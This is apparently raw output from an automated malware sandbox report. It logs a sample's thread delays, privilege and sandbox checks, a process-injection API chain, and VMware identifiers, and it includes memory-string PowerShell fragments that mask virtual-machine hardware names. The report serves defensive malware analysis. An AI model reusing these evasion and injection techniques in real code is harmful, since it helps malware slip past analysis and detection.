Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,

4_2_00007FF6B5AD10C0

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Memory allocated: 2616CD70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Memory allocated: 2616EB60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Memory allocated: C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Memory allocated: 1A8C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\wzcsapi.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\wzcsapi.exe	Window / User API: threadDelayed 7635	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Window / User API: threadDelayed 2142	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Window / User API: threadDelayed 1767	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Window / User API: threadDelayed 475	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8359	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1640	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 8352
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 1584
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9875

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_9-16308
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_1-18658
Source: C:\Windows\System32\WerFault.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_8-8133
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_5-15720

Source: C:\Users\user\Desktop\wzcsvc.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_4-8418

Source: C:\Users\user\Desktop\r8k29DBraE.exe	API coverage: 9.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\WerFault.exe	API coverage: 5.7 %
Source: C:\Windows\System32\lsass.exe	API coverage: 6.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.4 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.0 %

Source: C:\Users\user\Desktop\wzcsapi.exe TID: 7520	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe TID: 6500	Thread sleep count: 1767 > 30	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe TID: 6500	Thread sleep time: -176700s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe TID: 3308	Thread sleep count: 475 > 30	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe TID: 3308	Thread sleep time: -47500s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep time: -63000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7204	Thread sleep count: 8359 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7204	Thread sleep time: -8359000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7204	Thread sleep count: 1640 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7204	Thread sleep time: -1640000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7216	Thread sleep count: 8352 > 30
Source: C:\Windows\System32\lsass.exe TID: 7216	Thread sleep time: -8352000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7216	Thread sleep count: 1584 > 30
Source: C:\Windows\System32\lsass.exe TID: 7216	Thread sleep time: -1584000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7368	Thread sleep count: 245 > 30
Source: C:\Windows\System32\svchost.exe TID: 7368	Thread sleep time: -245000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7344	Thread sleep count: 58 > 30
Source: C:\Windows\System32\svchost.exe TID: 7344	Thread sleep time: -58000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7452	Thread sleep count: 9875 > 30
Source: C:\Windows\System32\dwm.exe TID: 7452	Thread sleep time: -9875000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2872	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7964	Thread sleep count: 57 > 30
Source: C:\Windows\System32\svchost.exe TID: 7964	Thread sleep time: -57000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7484	Thread sleep count: 256 > 30
Source: C:\Windows\System32\svchost.exe TID: 7484	Thread sleep time: -256000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7508	Thread sleep count: 259 > 30
Source: C:\Windows\System32\svchost.exe TID: 7508	Thread sleep time: -259000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7540	Thread sleep count: 162 > 30
Source: C:\Windows\System32\svchost.exe TID: 7540	Thread sleep time: -162000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7548	Thread sleep count: 256 > 30
Source: C:\Windows\System32\svchost.exe TID: 7548	Thread sleep time: -256000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7560	Thread sleep count: 181 > 30
Source: C:\Windows\System32\svchost.exe TID: 7560	Thread sleep time: -181000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7568	Thread sleep count: 256 > 30
Source: C:\Windows\System32\svchost.exe TID: 7568	Thread sleep time: -256000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7576	Thread sleep count: 97 > 30
Source: C:\Windows\System32\svchost.exe TID: 7576	Thread sleep time: -97000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7592	Thread sleep count: 77 > 30
Source: C:\Windows\System32\svchost.exe TID: 7592	Thread sleep time: -77000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7600	Thread sleep count: 82 > 30
Source: C:\Windows\System32\svchost.exe TID: 7600	Thread sleep time: -82000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7608	Thread sleep count: 258 > 30
Source: C:\Windows\System32\svchost.exe TID: 7608	Thread sleep time: -258000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep count: 258 > 30
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -258000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7332	Thread sleep count: 63 > 30
Source: C:\Windows\System32\svchost.exe TID: 7332	Thread sleep time: -63000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7688	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 7688	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7696	Thread sleep count: 85 > 30
Source: C:\Windows\System32\svchost.exe TID: 7696	Thread sleep time: -85000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7720	Thread sleep count: 80 > 30
Source: C:\Windows\System32\svchost.exe TID: 7720	Thread sleep time: -80000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7756	Thread sleep count: 256 > 30
Source: C:\Windows\System32\svchost.exe TID: 7756	Thread sleep time: -256000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7796	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7796	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7804	Thread sleep count: 257 > 30
Source: C:\Windows\System32\svchost.exe TID: 7804	Thread sleep time: -257000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7816	Thread sleep count: 258 > 30
Source: C:\Windows\System32\svchost.exe TID: 7816	Thread sleep time: -258000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7840	Thread sleep count: 34 > 30
Source: C:\Windows\System32\svchost.exe TID: 7840	Thread sleep time: -34000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7860	Thread sleep count: 256 > 30
Source: C:\Windows\System32\svchost.exe TID: 7860	Thread sleep time: -256000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7880	Thread sleep count: 225 > 30
Source: C:\Windows\System32\svchost.exe TID: 7880	Thread sleep time: -225000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7888	Thread sleep count: 67 > 30
Source: C:\Windows\System32\svchost.exe TID: 7888	Thread sleep time: -67000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7900	Thread sleep count: 66 > 30
Source: C:\Windows\System32\svchost.exe TID: 7900	Thread sleep time: -66000s >= -30000s

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\wzcsvc.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\wzcsvc.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F59E250 FindFirstFileExW,	1_2_000002616F59E250
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819BE250 FindFirstFileExW,	5_2_00000216819BE250
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1EE250 FindFirstFileExW,	6_2_000001CA7D1EE250
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C0E250 FindFirstFileExW,	8_2_00000265B3C0E250
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD5E250 FindFirstFileExW,	9_2_0000017D2DD5E250
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B92E250 FindFirstFileExW,	10_2_0000022F4B92E250
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE272E250 FindFirstFileExW,	11_2_0000013DE272E250
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CAE250 FindFirstFileExW,	14_2_00000262F1CAE250
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E15E250 FindFirstFileExW,	15_2_000002234E15E250
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B1E250 FindFirstFileExW,	16_2_0000023942B1E250
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056DE250 FindFirstFileExW,	17_2_000001EF056DE250
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD7E250 FindFirstFileExW,	18_2_000002287AD7E250
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA9E250 FindFirstFileExW,	19_2_000001B94DA9E250
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002520257E250 FindFirstFileExW,	20_2_000002520257E250
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFCE250 FindFirstFileExW,	21_2_000001A9EBFCE250
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF163E250 FindFirstFileExW,	22_2_0000019FF163E250

Source: C:\Users\user\Desktop\wzcsapi.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 30000

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: svchost.exe, 00000017.00000002.2647565274.000002A769A42000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1441428085.000002A769A42000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisor
Source: svchost.exe, 00000017.00000000.1441428085.000002A769A42000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmci
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: svchost.exe, 00000012.00000000.1419840527.000002287A02B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.23.dr	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dcPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: dwm.exe, 0000000E.00000002.2698819352.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dRomNECVMWarVMware_SATA_
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: WerFault.exe, 00000008.00000003.1585065018.00000265B459F000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000008.00000003.1582411351.00000265B459F000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000008.00000002.1587550148.00000265B459F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2645232189.0000013DE18BF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2638457854.0000013DE182B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2688680497.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2691628090.000002234B50C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000F.00000000.1408194310.000002234AE93000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: svchost.exe, 00000017.00000000.1441998504.000002A76A110000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: JVMwareVirtual disk6000c298128b8c02a71a2474aeb5f3dc
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.23.dr	Binary or memory string: VMwareVirtual disk2.06000c298128b8c02a71a2474aeb5f3dcPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.23.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.23.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000017.00000003.1476150275.000002A76AD8D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c298128b8c02a71a2474aeb5f3dc
Source: dwm.exe, 0000000E.00000002.2698819352.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.23.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: svchost.exe, 00000017.00000003.1476150275.000002A76AD8D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.23.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000017.00000002.2671284175.000002A76A489000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: nonicVMware Virtual disk 6000c298128b8c02a71a2474aeb5f3dc
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: svchost.exe, 00000017.00000002.2695585202.000002A76C0B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: Microsoft-Windows-Ntfs%4Operational.evtx.23.dr	Binary or memory string: VMware
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 00000017.00000003.1476150275.000002A76AD8D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: Amcache.hve.8.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000017.00000003.1476150275.000002A76AD8D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: lsass.exe, 00000009.00000003.1482822792.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.23.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: Microsoft-Windows-WER-PayloadHealth%4Operational.evtx.23.dr	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: dwm.exe, 0000000E.00000002.2698819352.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Bus\0000SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000PCI\VEN_8
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
